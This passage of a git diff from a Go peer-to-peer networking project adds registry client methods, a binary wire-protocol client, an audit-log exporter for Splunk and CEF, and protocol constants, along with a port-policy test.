cp.Evaluate(EventDial, map[string]interface{}{ + "port": 443, "peer_id": 1, "network_id": 1, + }) + if findVerdict(dirs).Type != DirectiveAllow { + t.Fatal("expected allow for dial port 443") + } + + // Test dial gate: port 22 should be denied + dirs, _ = cp.Evaluate(EventDial, map[string]interface{}{ + "port": 22, "peer_id": 1, "network_id": 1, + }) + if findVerdict(dirs).Type != DirectiveDeny { + t.Fatal("expected deny for dial port 22") + } +} + +func TestAllowedPortsToPolicyEmpty(t *testing.T) { + raw, err := registry.AllowedPortsToPolicy(nil) + if err != nil { + t.Fatal(err) + } + if raw != nil { + t.Fatal("expected nil for empty ports") + } +} + +// --- helpers --- + +func findVerdict(dirs []Directive) *Directive { + for i := range dirs { + if dirs[i].Type == DirectiveAllow || dirs[i].Type == DirectiveDeny { + return &dirs[i] + } + } + return nil +} diff --git a/pkg/protocol/address.go b/pkg/protocol/address.go index 28d9cbc7..07b25b0a 100644 --- a/pkg/protocol/address.go +++ b/pkg/protocol/address.go @@ -12,10 +12,11 @@ const AddrSize = 6 // 48 bits: 2 bytes network + 4 bytes node // Addr is a 48-bit Pilot Protocol virtual address. // Layout: [16-bit Network ID][32-bit Node ID] // Text format: N:NNNN.HHHH.LLLL -// N = network ID in decimal -// NNNN = network ID in hex (redundant, for readability) -// HHHH = node ID high 16 bits in hex -// LLLL = node ID low 16 bits in hex +// +// N = network ID in decimal +// NNNN = network ID in hex (redundant, for readability) +// HHHH = node ID high 16 bits in hex +// LLLL = node ID low 16 bits in hex type Addr struct { Network uint16 Node uint32 diff --git a/pkg/protocol/header.go b/pkg/protocol/header.go index 0a8d0fa7..e52df738 100644 --- a/pkg/protocol/header.go +++ b/pkg/protocol/header.go @@ -1,8 +1,20 @@ package protocol +import "errors" + // Protocol version const Version uint8 = 1 +// Sentinel errors shared across packages. +var ( + ErrNodeNotFound = errors.New("node not found") + ErrNetworkNotFound = errors.New("network not found") + ErrConnClosed = errors.New("connection closed") + ErrConnRefused = errors.New("connection refused") + ErrDialTimeout = errors.New("dial timeout") + ErrChecksumMismatch = errors.New("checksum mismatch") +) + // Flags (4 bits, stored in lower nibble of first byte alongside version) const ( FlagSYN uint8 = 0x1 @@ -29,14 +41,16 @@ const ( PortStdIO uint16 = 1000 PortDataExchange uint16 = 1001 PortEventStream uint16 = 1002 + PortTaskSubmit uint16 = 1003 + PortManagedScore uint16 = 1004 ) // Port ranges const ( - PortReservedMax uint16 = 1023 + PortReservedMax uint16 = 1023 PortRegisteredMax uint16 = 49151 - PortEphemeralMin uint16 = 49152 - PortEphemeralMax uint16 = 65535 + PortEphemeralMin uint16 = 49152 + PortEphemeralMax uint16 = 65535 ) // Tunnel magic bytes: "PILT" (0x50494C54) @@ -56,3 +70,14 @@ var TunnelMagicPunch = [4]byte{0x50, 0x49, 0x4C, 0x50} // Well-known port for handshake requests const PortHandshake uint16 = 444 + +// Beacon message types (single-byte codes, all < 0x10 to avoid collision with tunnel magic) +const ( + BeaconMsgDiscover byte = 0x01 + BeaconMsgDiscoverReply byte = 0x02 + BeaconMsgPunchRequest byte = 0x03 + BeaconMsgPunchCommand byte = 0x04 + BeaconMsgRelay byte = 0x05 + BeaconMsgRelayDeliver byte = 0x06 + BeaconMsgSync byte = 0x07 // gossip: beacon-to-beacon node list exchange +) diff --git a/pkg/protocol/packet.go b/pkg/protocol/packet.go index b7fa5542..59eae893 100644 --- a/pkg/protocol/packet.go +++ b/pkg/protocol/packet.go @@ -2,7 +2,6 @@ package protocol import ( "encoding/binary" - "errors" "fmt" ) @@ -49,7 +48,8 @@ func (p *Packet) Marshal() ([]byte, error) { return nil, fmt.Errorf("payload too large: %d bytes (max 65535)", payloadLen) } - buf := make([]byte, packetHeaderSize+payloadLen) + totalLen := packetHeaderSize + payloadLen // safe: payloadLen ≤ 0xFFFF (checked above) + buf := make([]byte, totalLen) buf[0] = (p.Version << 4) | (p.Flags & 0x0F) buf[1] = p.Protocol @@ -92,7 +92,13 @@ func Unmarshal(data []byte) (*Packet, error) { binary.BigEndian.PutUint32(data[30:34], wireChecksum) // restore if computed != wireChecksum { - return nil, errors.New("checksum mismatch") + return nil, ErrChecksumMismatch + } + + // Validate protocol version. + wireVersion := (data[0] >> 4) & 0x0F + if wireVersion != Version { + return nil, fmt.Errorf("unsupported protocol version %d (expected %d)", wireVersion, Version) } p := &Packet{ diff --git a/pkg/registry/audit_export.go b/pkg/registry/audit_export.go new file mode 100644 index 00000000..0bb0b318 --- /dev/null +++ b/pkg/registry/audit_export.go @@ -0,0 +1,210 @@ +package registry + +import ( + "bytes" + "encoding/json" + "fmt" + "log/slog" + "net/http" + "strings" + "sync" + "sync/atomic" + "time" +) + +// AuditExporter sends audit events to an external system in the configured +// format (Splunk HEC, syslog/CEF, or plain JSON). It runs asynchronously +// with a buffered channel, just like registryWebhook. +type AuditExporter struct { + config *BlueprintAuditExport + ch chan *AuditEntry + client *http.Client + done chan struct{} + closeOnce sync.Once + closed chan struct{} + exported atomic.Uint64 + dropped atomic.Uint64 +} + +func newAuditExporter(cfg *BlueprintAuditExport) *AuditExporter { + ae := &AuditExporter{ + config: cfg, + ch: make(chan *AuditEntry, 1024), + client: &http.Client{Timeout: 10 * time.Second}, + done: make(chan struct{}), + closed: make(chan struct{}), + } + go ae.run() + return ae +} + +// Export queues an audit entry for export. Non-blocking; drops if buffer full. +func (ae *AuditExporter) Export(entry *AuditEntry) { + if ae == nil { + return + } + select { + case <-ae.closed: + return + default: + } + select { + case ae.ch <- entry: + case <-ae.closed: + default: + ae.dropped.Add(1) + } +} + +// Close drains the queue and stops the background goroutine. +func (ae *AuditExporter) Close() { + if ae == nil { + return + } + ae.closeOnce.Do(func() { + close(ae.closed) + close(ae.ch) + }) + select { + case <-ae.done: + case <-time.After(5 * time.Second): + slog.Warn("audit exporter drain timeout") + } +} + +func (ae *AuditExporter) run() { + defer close(ae.done) + for entry := range ae.ch { + ae.send(entry) + } +} + +func (ae *AuditExporter) send(entry *AuditEntry) { + var body []byte + var contentType string + var err error + + switch ae.config.Format { + case "splunk_hec": + body, err = ae.formatSplunkHEC(entry) + contentType = "application/json" + case "syslog_cef": + body, err = ae.formatCEF(entry) + contentType = "text/plain" + default: // "json" + body, err = json.Marshal(entry) + contentType = "application/json" + } + if err != nil { + slog.Warn("audit export format error", "format", ae.config.Format, "error", err) + return + } + + req, err := http.NewRequest("POST", ae.config.Endpoint, bytes.NewReader(body)) + if err != nil { + slog.Warn("audit export request error", "error", err) + return + } + req.Header.Set("Content-Type", contentType) + + // Splunk HEC requires Authorization header + if ae.config.Token != "" { + req.Header.Set("Authorization", "Splunk "+ae.config.Token) + } + + backoff := time.Second + for attempt := 0; attempt < 3; attempt++ { + if attempt > 0 { + time.Sleep(backoff) + backoff *= 2 + } + + resp, err := ae.client.Do(req) + if err != nil { + slog.Warn("audit export POST failed", "attempt", attempt+1, "error", err) + continue + } + resp.Body.Close() + + if resp.StatusCode < 400 { + ae.exported.Add(1) + return + } + if resp.StatusCode < 500 { + slog.Warn("audit export client error", "status", resp.StatusCode) + return + } + slog.Warn("audit export server error", "status", resp.StatusCode, "attempt", attempt+1) + } +} + +// SplunkHECEvent is the Splunk HTTP Event Collector event format. +type SplunkHECEvent struct { + Time int64 `json:"time"` + Host string `json:"host,omitempty"` + Source string `json:"source,omitempty"` + SourceType string `json:"sourcetype,omitempty"` + Index string `json:"index,omitempty"` + Event map[string]interface{} `json:"event"` +} + +func (ae *AuditExporter) formatSplunkHEC(entry *AuditEntry) ([]byte, error) { + t, _ := time.Parse(time.RFC3339, entry.Timestamp) + if t.IsZero() { + t = time.Now() + } + + event := map[string]interface{}{ + "action": entry.Action, + "network_id": entry.NetworkID, + "node_id": entry.NodeID, + } + if entry.Details != "" { + event["details"] = entry.Details + } + + hec := SplunkHECEvent{ + Time: t.Unix(), + Source: ae.config.Source, + SourceType: "pilot:audit", + Index: ae.config.Index, + Event: event, + } + if hec.Source == "" { + hec.Source = "pilot-registry" + } + + return json.Marshal(hec) +} + +// formatCEF produces a CEF (Common Event Format) line for SIEM ingestion. +// Format: CEF:0|Pilot|Registry|1.0|||| +func (ae *AuditExporter) formatCEF(entry *AuditEntry) ([]byte, error) { + severity := 3 // informational + if strings.Contains(entry.Action, "kick") || strings.Contains(entry.Action, "delete") { + severity = 6 // high + } else if strings.Contains(entry.Action, "promote") || strings.Contains(entry.Action, "demote") { + severity = 4 // medium + } + + extensions := fmt.Sprintf("dvc=pilot-registry dvchost=registry "+ + "cs1=%s cs1Label=action cn1=%d cn1Label=network_id cn2=%d cn2Label=node_id", + entry.Action, entry.NetworkID, entry.NodeID) + + if entry.Details != "" { + extensions += fmt.Sprintf(" msg=%s", entry.Details) + } + + line := fmt.Sprintf("CEF:0|Pilot|Registry|1.0|%s|%s|%d|%s", + entry.Action, entry.Action, severity, extensions) + + return []byte(line), nil +} + +// Stats returns export statistics. +func (ae *AuditExporter) Stats() (exported, dropped uint64) { + if ae == nil { + return 0, 0 + } + return ae.exported.Load(), ae.dropped.Load() +} diff --git a/pkg/registry/binary_client.go b/pkg/registry/binary_client.go new file mode 100644 index 00000000..8ee563ff --- /dev/null +++ b/pkg/registry/binary_client.go @@ -0,0 +1,266 @@ +package registry + +import ( + "context" + "encoding/json" + "fmt" + "log/slog" + "net" + "sync" + "time" +) + +// BinaryClient talks to a registry server using the binary wire protocol. +// It provides native binary encoding for hot-path operations (heartbeat, lookup, +// resolve) and JSON-over-binary passthrough for all other operations. +type BinaryClient struct { + conn net.Conn + mu sync.Mutex + addr string + closed bool +} + +// DialBinary connects to a registry server and negotiates the binary wire protocol. +// The server detects the magic bytes and switches to binary mode for this connection. +func DialBinary(addr string) (*BinaryClient, error) { + conn, err := net.DialTimeout("tcp", addr, 5*time.Second) + if err != nil { + return nil, fmt.Errorf("dial registry: %w", err) + } + + // Send magic + version to negotiate binary protocol + var handshake [5]byte + copy(handshake[:4], wireMagic[:]) + handshake[4] = wireVersion + if _, err := conn.Write(handshake[:]); err != nil { + conn.Close() + return nil, fmt.Errorf("binary handshake: %w", err) + } + + return &BinaryClient{conn: conn, addr: addr}, nil +} + +// Close shuts down the binary client connection. +func (c *BinaryClient) Close() error { + c.mu.Lock() + c.closed = true + conn := c.conn + c.mu.Unlock() + if conn != nil { + return conn.Close() + } + return nil +} + +// Addr returns the registry address this client is connected to. +func (c *BinaryClient) Addr() string { + return c.addr +} + +// reconnect re-establishes the binary connection. Must be called with c.mu held. +func (c *BinaryClient) reconnect() error { + if c.closed { + return fmt.Errorf("client closed") + } + if c.conn != nil { + c.conn.Close() + } + + backoff := 500 * time.Millisecond + maxBackoff := 10 * time.Second + var lastErr error + + for attempts := 0; attempts < 5; attempts++ { + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + conn, err := (&net.Dialer{}).DialContext(ctx, "tcp", c.addr) + cancel() + if err != nil { + lastErr = err + slog.Warn("binary client reconnect failed", "attempt", attempts+1, "err", err) + time.Sleep(backoff) + backoff *= 2 + if backoff > maxBackoff { + backoff = maxBackoff + } + continue + } + + // Re-negotiate binary protocol + var handshake [5]byte + copy(handshake[:4], wireMagic[:]) + handshake[4] = wireVersion + if _, err := conn.Write(handshake[:]); err != nil { + conn.Close() + lastErr = err + continue + } + + c.conn = conn + slog.Info("binary client reconnected", "addr", c.addr) + return nil + } + return fmt.Errorf("reconnect failed after 5 attempts: %w", lastErr) +} + +// Heartbeat sends a binary heartbeat and returns the server time and key expiry warning. +func (c *BinaryClient) Heartbeat(nodeID uint32, sig []byte) (unixTime int64, keyExpiryWarning bool, err error) { + c.mu.Lock() + defer c.mu.Unlock() + + unixTime, keyExpiryWarning, err = c.heartbeatLocked(nodeID, sig) + if err != nil && !c.closed { + // Connection-level failure — reconnect and retry once + if reconnErr := c.reconnect(); reconnErr != nil { + return 0, false, fmt.Errorf("heartbeat failed and reconnect failed: %w", err) + } + unixTime, keyExpiryWarning, err = c.heartbeatLocked(nodeID, sig) + } + return +} + +func (c *BinaryClient) heartbeatLocked(nodeID uint32, sig []byte) (int64, bool, error) { + if err := wireWriteFrame(c.conn, wireMsgHeartbeat, encodeHeartbeatReq(nodeID, sig)); err != nil { + return 0, false, fmt.Errorf("send heartbeat: %w", err) + } + + msgType, payload, err := wireReadFrame(c.conn) + if err != nil { + return 0, false, fmt.Errorf("recv heartbeat: %w", err) + } + + if msgType == wireMsgError { + return 0, false, fmt.Errorf("registry: %s", decodeWireError(payload)) + } + if msgType != wireMsgHeartbeatOK { + return 0, false, fmt.Errorf("unexpected response type 0x%02x", msgType) + } + + return decodeHeartbeatResp(payload) +} + +// Lookup sends a binary lookup request and returns the decoded result. +func (c *BinaryClient) Lookup(nodeID uint32) (*WireLookupResult, error) { + c.mu.Lock() + defer c.mu.Unlock() + + result, err := c.lookupLocked(nodeID) + if err != nil && !c.closed { + if reconnErr := c.reconnect(); reconnErr != nil { + return nil, fmt.Errorf("lookup failed and reconnect failed: %w", err) + } + result, err = c.lookupLocked(nodeID) + } + return result, err +} + +func (c *BinaryClient) lookupLocked(nodeID uint32) (*WireLookupResult, error) { + if err := wireWriteFrame(c.conn, wireMsgLookup, encodeLookupReq(nodeID)); err != nil { + return nil, fmt.Errorf("send lookup: %w", err) + } + + msgType, payload, err := wireReadFrame(c.conn) + if err != nil { + return nil, fmt.Errorf("recv lookup: %w", err) + } + + if msgType == wireMsgError { + return nil, fmt.Errorf("registry: %s", decodeWireError(payload)) + } + if msgType != wireMsgLookupOK { + return nil, fmt.Errorf("unexpected response type 0x%02x", msgType) + } + + result, err := decodeLookupResp(payload) + if err != nil { + return nil, fmt.Errorf("decode lookup response: %w", err) + } + return &result, nil +} + +// Resolve sends a binary resolve request and returns the decoded result. +func (c *BinaryClient) Resolve(nodeID, requesterID uint32, sig []byte) (*WireResolveResult, error) { + c.mu.Lock() + defer c.mu.Unlock() + + result, err := c.resolveLocked(nodeID, requesterID, sig) + if err != nil && !c.closed { + if reconnErr := c.reconnect(); reconnErr != nil { + return nil, fmt.Errorf("resolve failed and reconnect failed: %w", err) + } + result, err = c.resolveLocked(nodeID, requesterID, sig) + } + return result, err +} + +func (c *BinaryClient) resolveLocked(nodeID, requesterID uint32, sig []byte) (*WireResolveResult, error) { + if err := wireWriteFrame(c.conn, wireMsgResolve, encodeResolveReq(nodeID, requesterID, sig)); err != nil { + return nil, fmt.Errorf("send resolve: %w", err) + } + + msgType, payload, err := wireReadFrame(c.conn) + if err != nil { + return nil, fmt.Errorf("recv resolve: %w", err) + } + + if msgType == wireMsgError { + return nil, fmt.Errorf("registry: %s", decodeWireError(payload)) + } + if msgType != wireMsgResolveOK { + return nil, fmt.Errorf("unexpected response type 0x%02x", msgType) + } + + result, err := decodeResolveResp(payload) + if err != nil { + return nil, fmt.Errorf("decode resolve response: %w", err) + } + return &result, nil +} + +// SendJSON sends a JSON message over the binary protocol using JSON passthrough. +// This allows any registry operation to be used without a native binary encoding. +func (c *BinaryClient) SendJSON(msg map[string]interface{}) (map[string]interface{}, error) { + c.mu.Lock() + defer c.mu.Unlock() + + resp, err := c.sendJSONLocked(msg) + if err != nil && resp == nil && !c.closed { + if reconnErr := c.reconnect(); reconnErr != nil { + return nil, fmt.Errorf("send failed and reconnect failed: %w", err) + } + resp, err = c.sendJSONLocked(msg) + } + return resp, err +} + +func (c *BinaryClient) sendJSONLocked(msg map[string]interface{}) (map[string]interface{}, error) { + body, err := json.Marshal(msg) + if err != nil { + return nil, fmt.Errorf("json encode: %w", err) + } + + if err := wireWriteFrame(c.conn, wireMsgJSON, body); err != nil { + return nil, fmt.Errorf("send: %w", err) + } + + msgType, payload, readErr := wireReadFrame(c.conn) + if readErr != nil { + return nil, fmt.Errorf("recv: %w", readErr) + } + + if msgType == wireMsgError { + errMsg := decodeWireError(payload) + return map[string]interface{}{"type": "error", "error": errMsg}, fmt.Errorf("registry: %s", errMsg) + } + if msgType != wireMsgJSON { + return nil, fmt.Errorf("unexpected response type 0x%02x for JSON passthrough", msgType) + } + + var resp map[string]interface{} + if err := json.Unmarshal(payload, &resp); err != nil { + return nil, fmt.Errorf("json decode response: %w", err) + } + if errMsg, ok := resp["error"].(string); ok { + return resp, fmt.Errorf("registry: %s", errMsg) + } + return resp, nil +} diff --git a/pkg/registry/client.go b/pkg/registry/client.go index 04bd681c..d0cb93c3 100644 --- a/pkg/registry/client.go +++ b/pkg/registry/client.go @@ -6,6 +6,7 @@ import ( "crypto/tls" "crypto/x509" "encoding/hex" + "encoding/json" "fmt" "log/slog" "net" @@ -63,7 +64,11 @@ func DialTLS(addr string, tlsConfig *tls.Config) (*Client, error) { // The fingerprint is a hex-encoded SHA-256 hash of the server's DER-encoded certificate. func DialTLSPinned(addr, fingerprint string) (*Client, error) { tlsConfig := &tls.Config{ - InsecureSkipVerify: true, + // InsecureSkipVerify disables the default CA chain check so we can + // use VerifyPeerCertificate for certificate pinning (SHA-256 fingerprint). + // This is the standard Go pattern — the custom callback below provides + // strictly stronger verification than CA-based trust. + InsecureSkipVerify: true, //nolint:gosec // cert pinning via VerifyPeerCertificate VerifyPeerCertificate: func(rawCerts [][]byte, _ [][]*x509.Certificate) error { if len(rawCerts) == 0 { return fmt.Errorf("no certificate presented") @@ -183,7 +188,8 @@ func (c *Client) RegisterWithOwner(listenAddr, owner string) (map[string]interfa // RegisterWithKey re-registers using an existing Ed25519 public key. // The registry returns the same node_id if the key is known. -func (c *Client) RegisterWithKey(listenAddr, publicKeyB64, owner string) (map[string]interface{}, error) { +// lanAddrs are the node's LAN addresses for same-network peer detection. +func (c *Client) RegisterWithKey(listenAddr, publicKeyB64, owner string, lanAddrs []string, opts ...string) (map[string]interface{}, error) { msg := map[string]interface{}{ "type": "register", "listen_addr": listenAddr, @@ -192,6 +198,12 @@ func (c *Client) RegisterWithKey(listenAddr, publicKeyB64, owner string) (map[st if owner != "" { msg["owner"] = owner } + if len(lanAddrs) > 0 { + msg["lan_addrs"] = lanAddrs + } + if len(opts) > 0 && opts[0] != "" { + msg["version"] = opts[0] + } return c.Send(msg) } @@ -266,17 +278,45 @@ func (c *Client) SetVisibility(nodeID uint32, public bool) (map[string]interface return c.Send(msg) } -func (c *Client) CreateNetwork(nodeID uint32, name, joinRule, token, adminToken string) (map[string]interface{}, error) { +func (c *Client) CreateNetwork(nodeID uint32, name, joinRule, token, adminToken string, enterprise bool, networkAdminToken ...string) (map[string]interface{}, error) { + msg := map[string]interface{}{ + "type": "create_network", + "node_id": nodeID, + "name": name, + "join_rule": joinRule, + "token": token, + } + if adminToken != "" { + msg["admin_token"] = adminToken + } + if enterprise { + msg["enterprise"] = true + } + if len(networkAdminToken) > 0 && networkAdminToken[0] != "" { + msg["network_admin_token"] = networkAdminToken[0] + } + return c.Send(msg) +} + +// CreateManagedNetwork creates a network with managed rules. +func (c *Client) CreateManagedNetwork(nodeID uint32, name, joinRule, token, adminToken string, enterprise bool, rules string, networkAdminToken ...string) (map[string]interface{}, error) { msg := map[string]interface{}{ "type": "create_network", "node_id": nodeID, "name": name, "join_rule": joinRule, "token": token, + "rules": rules, } if adminToken != "" { msg["admin_token"] = adminToken } + if enterprise { + msg["enterprise"] = true + } + if len(networkAdminToken) > 0 && networkAdminToken[0] != "" { + msg["network_admin_token"] = networkAdminToken[0] + } return c.Send(msg) } @@ -288,7 +328,9 @@ func (c *Client) JoinNetwork(nodeID uint32, networkID uint16, token string, invi "token": token, "inviter_id": inviterID, } - if adminToken != "" { + if sig := c.sign(fmt.Sprintf("join_network:%d:%d", nodeID, networkID)); sig != "" { + msg["signature"] = sig + } else if adminToken != "" { msg["admin_token"] = adminToken } return c.Send(msg) @@ -300,23 +342,67 @@ func (c *Client) LeaveNetwork(nodeID uint32, networkID uint16, adminToken string "node_id": nodeID, "network_id": networkID, } + if sig := c.sign(fmt.Sprintf("leave_network:%d:%d", nodeID, networkID)); sig != "" { + msg["signature"] = sig + } else if adminToken != "" { + msg["admin_token"] = adminToken + } + return c.Send(msg) +} + +func (c *Client) DeleteNetwork(networkID uint16, adminToken string, nodeID ...uint32) (map[string]interface{}, error) { + msg := map[string]interface{}{ + "type": "delete_network", + "network_id": networkID, + } if adminToken != "" { msg["admin_token"] = adminToken } + if len(nodeID) > 0 && nodeID[0] != 0 { + msg["node_id"] = nodeID[0] + } return c.Send(msg) } +func (c *Client) RenameNetwork(networkID uint16, name, adminToken string, nodeID ...uint32) (map[string]interface{}, error) { + msg := map[string]interface{}{ + "type": "rename_network", + "network_id": networkID, + "name": name, + } + if adminToken != "" { + msg["admin_token"] = adminToken + } + if len(nodeID) > 0 && nodeID[0] != 0 { + msg["node_id"] = nodeID[0] + } + return c.Send(msg) +} + +func (c *Client) SetNetworkEnterprise(networkID uint16, enterprise bool, adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "set_network_enterprise", + "network_id": networkID, + "enterprise": enterprise, + "admin_token": adminToken, + }) +} + func (c *Client) ListNetworks() (map[string]interface{}, error) { return c.Send(map[string]interface{}{ "type": "list_networks", }) } -func (c *Client) ListNodes(networkID uint16) (map[string]interface{}, error) { - return c.Send(map[string]interface{}{ +func (c *Client) ListNodes(networkID uint16, adminToken ...string) (map[string]interface{}, error) { + msg := map[string]interface{}{ "type": "list_nodes", "network_id": networkID, - }) + } + if len(adminToken) > 0 && adminToken[0] != "" { + msg["admin_token"] = adminToken[0] + } + return c.Send(msg) } func (c *Client) Deregister(nodeID uint32) (map[string]interface{}, error) { @@ -413,6 +499,31 @@ func (c *Client) SetHostname(nodeID uint32, hostname string) (map[string]interfa return c.Send(msg) } +// SetTags sets the capability tags for a node. +func (c *Client) SetTags(nodeID uint32, tags []string) (map[string]interface{}, error) { + msg := map[string]interface{}{ + "type": "set_tags", + "node_id": nodeID, + "tags": tags, + } + if sig := c.sign(fmt.Sprintf("set_tags:%d", nodeID)); sig != "" { + msg["signature"] = sig + } + return c.Send(msg) +} + +func (c *Client) SetTaskExec(nodeID uint32, enabled bool) (map[string]interface{}, error) { + msg := map[string]interface{}{ + "type": "set_task_exec", + "node_id": nodeID, + "enabled": enabled, + } + if sig := c.sign(fmt.Sprintf("set_task_exec:%d", nodeID)); sig != "" { + msg["signature"] = sig + } + return c.Send(msg) +} + // ResolveHostname resolves a hostname to node info (node_id, address, public flag). func (c *Client) ResolveHostname(hostname string) (map[string]interface{}, error) { return c.Send(map[string]interface{}{ @@ -420,3 +531,493 @@ func (c *Client) ResolveHostname(hostname string) (map[string]interface{}, error "hostname": hostname, }) } + +// ResolveHostnameAs resolves a hostname with a requester_id for privacy checks. +// Private nodes require the requester to have a trust pair or shared network. +func (c *Client) ResolveHostnameAs(requesterID uint32, hostname string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "resolve_hostname", + "hostname": hostname, + "requester_id": requesterID, + }) +} + +// CheckTrust checks if a trust pair or shared network exists between two nodes. +func (c *Client) CheckTrust(nodeA, nodeB uint32) (bool, error) { + resp, err := c.Send(map[string]interface{}{ + "type": "check_trust", + "node_id": nodeA, + "peer_id": nodeB, + }) + if err != nil { + return false, err + } + trusted, _ := resp["trusted"].(bool) + return trusted, nil +} + +// UpdatePoloScore adjusts the polo score of a node by the given delta. +// Delta can be positive (increase polo score) or negative (decrease polo score). +func (c *Client) UpdatePoloScore(nodeID uint32, delta int) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "update_polo_score", + "node_id": nodeID, + "delta": float64(delta), + }) +} + +// SetPoloScore sets the polo score of a node to a specific value. +func (c *Client) SetPoloScore(nodeID uint32, poloScore int) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "set_polo_score", + "node_id": nodeID, + "polo_score": float64(poloScore), + }) +} + +// GetPoloScore retrieves the current polo score for a node. +func (c *Client) GetPoloScore(nodeID uint32) (int, error) { + resp, err := c.Send(map[string]interface{}{ + "type": "get_polo_score", + "node_id": nodeID, + }) + if err != nil { + return 0, err + } + if poloScore, ok := resp["polo_score"].(float64); ok { + return int(poloScore), nil + } + return 0, fmt.Errorf("polo_score not found in response") +} + +// InviteToNetwork stores a pending invite for a target node to join an invite-only network. +func (c *Client) InviteToNetwork(networkID uint16, inviterID, targetNodeID uint32, adminToken string) (map[string]interface{}, error) { + msg := map[string]interface{}{ + "type": "invite_to_network", + "network_id": networkID, + "inviter_id": inviterID, + "target_node_id": targetNodeID, + } + if sig := c.sign(fmt.Sprintf("invite:%d:%d:%d", inviterID, networkID, targetNodeID)); sig != "" { + msg["signature"] = sig + } + if adminToken != "" { + msg["admin_token"] = adminToken + } + return c.Send(msg) +} + +// PollInvites returns and clears pending network invites for a node. Signed. +func (c *Client) PollInvites(nodeID uint32) (map[string]interface{}, error) { + msg := map[string]interface{}{ + "type": "poll_invites", + "node_id": nodeID, + } + if sig := c.sign(fmt.Sprintf("poll_invites:%d", nodeID)); sig != "" { + msg["signature"] = sig + } + return c.Send(msg) +} + +// RespondInvite accepts or rejects a pending network invite. Signed. +func (c *Client) RespondInvite(nodeID uint32, networkID uint16, accept bool) (map[string]interface{}, error) { + msg := map[string]interface{}{ + "type": "respond_invite", + "node_id": nodeID, + "network_id": networkID, + "accept": accept, + } + if sig := c.sign(fmt.Sprintf("respond_invite:%d:%d", nodeID, networkID)); sig != "" { + msg["signature"] = sig + } + return c.Send(msg) +} + +// PromoteMember promotes a network member to admin. Only the owner can promote. +func (c *Client) PromoteMember(networkID uint16, nodeID, targetNodeID uint32, adminToken string) (map[string]interface{}, error) { + msg := map[string]interface{}{ + "type": "promote_member", + "network_id": networkID, + "node_id": nodeID, + "target_node_id": targetNodeID, + } + if adminToken != "" { + msg["admin_token"] = adminToken + } + return c.Send(msg) +} + +// DemoteMember demotes an admin to member. Only the owner can demote. +func (c *Client) DemoteMember(networkID uint16, nodeID, targetNodeID uint32, adminToken string) (map[string]interface{}, error) { + msg := map[string]interface{}{ + "type": "demote_member", + "network_id": networkID, + "node_id": nodeID, + "target_node_id": targetNodeID, + } + if adminToken != "" { + msg["admin_token"] = adminToken + } + return c.Send(msg) +} + +// KickMember removes a member from a network. Requires owner or admin role. +func (c *Client) KickMember(networkID uint16, nodeID, targetNodeID uint32, adminToken string) (map[string]interface{}, error) { + msg := map[string]interface{}{ + "type": "kick_member", + "network_id": networkID, + "node_id": nodeID, + "target_node_id": targetNodeID, + } + if adminToken != "" { + msg["admin_token"] = adminToken + } + return c.Send(msg) +} + +// TransferOwnership transfers network ownership to another member. Only the current owner can transfer. +func (c *Client) TransferOwnership(networkID uint16, ownerNodeID, newOwnerID uint32, adminToken string) (map[string]interface{}, error) { + msg := map[string]interface{}{ + "type": "transfer_ownership", + "network_id": networkID, + "node_id": ownerNodeID, + "new_owner_id": newOwnerID, + } + if adminToken != "" { + msg["admin_token"] = adminToken + } + return c.Send(msg) +} + +// GetMemberRole returns the RBAC role of a node in a network. +func (c *Client) GetMemberRole(networkID uint16, targetNodeID uint32) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "get_member_role", + "network_id": networkID, + "target_node_id": targetNodeID, + }) +} + +// SetNetworkPolicy sets or updates a network's policy. Requires owner/admin role or admin token. +func (c *Client) SetNetworkPolicy(networkID uint16, policy map[string]interface{}, adminToken string) (map[string]interface{}, error) { + msg := map[string]interface{}{ + "type": "set_network_policy", + "network_id": networkID, + } + for k, v := range policy { + msg[k] = v + } + if adminToken != "" { + msg["admin_token"] = adminToken + } + return c.Send(msg) +} + +// GetNetworkPolicy returns the policy for a given network. +func (c *Client) GetNetworkPolicy(networkID uint16) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "get_network_policy", + "network_id": networkID, + }) +} + +// SetExprPolicy sets the programmable policy for a network. +// Requires owner/admin role or admin token. +func (c *Client) SetExprPolicy(networkID uint16, policyJSON json.RawMessage, adminToken string) (map[string]interface{}, error) { + msg := map[string]interface{}{ + "type": "set_expr_policy", + "network_id": networkID, + "expr_policy": string(policyJSON), + } + if adminToken != "" { + msg["admin_token"] = adminToken + } + return c.Send(msg) +} + +// GetExprPolicy returns the programmable policy for a network. +func (c *Client) GetExprPolicy(networkID uint16) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "get_expr_policy", + "network_id": networkID, + }) +} + +// SetKeyExpiry sets the key expiry time for a node. Requires signature. +func (c *Client) SetKeyExpiry(nodeID uint32, expiresAt time.Time) (map[string]interface{}, error) { + msg := map[string]interface{}{ + "type": "set_key_expiry", + "node_id": nodeID, + "expires_at": expiresAt.Format(time.RFC3339), + } + if sig := c.sign(fmt.Sprintf("set_key_expiry:%d", nodeID)); sig != "" { + msg["signature"] = sig + } + return c.Send(msg) +} + +// GetKeyInfo returns key lifecycle metadata for a node. +func (c *Client) GetKeyInfo(nodeID uint32) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "get_key_info", + "node_id": nodeID, + }) +} + +// --- Admin methods (bypass node signature, use admin_token instead) --- + +// SetHostnameAdmin sets a node's hostname using admin token auth. +func (c *Client) SetHostnameAdmin(nodeID uint32, hostname, adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "set_hostname", + "node_id": nodeID, + "hostname": hostname, + "admin_token": adminToken, + }) +} + +// SetVisibilityAdmin sets a node's visibility using admin token auth. +func (c *Client) SetVisibilityAdmin(nodeID uint32, public bool, adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "set_visibility", + "node_id": nodeID, + "public": public, + "admin_token": adminToken, + }) +} + +// SetTagsAdmin sets a node's tags using admin token auth. +func (c *Client) SetTagsAdmin(nodeID uint32, tags []string, adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "set_tags", + "node_id": nodeID, + "tags": tags, + "admin_token": 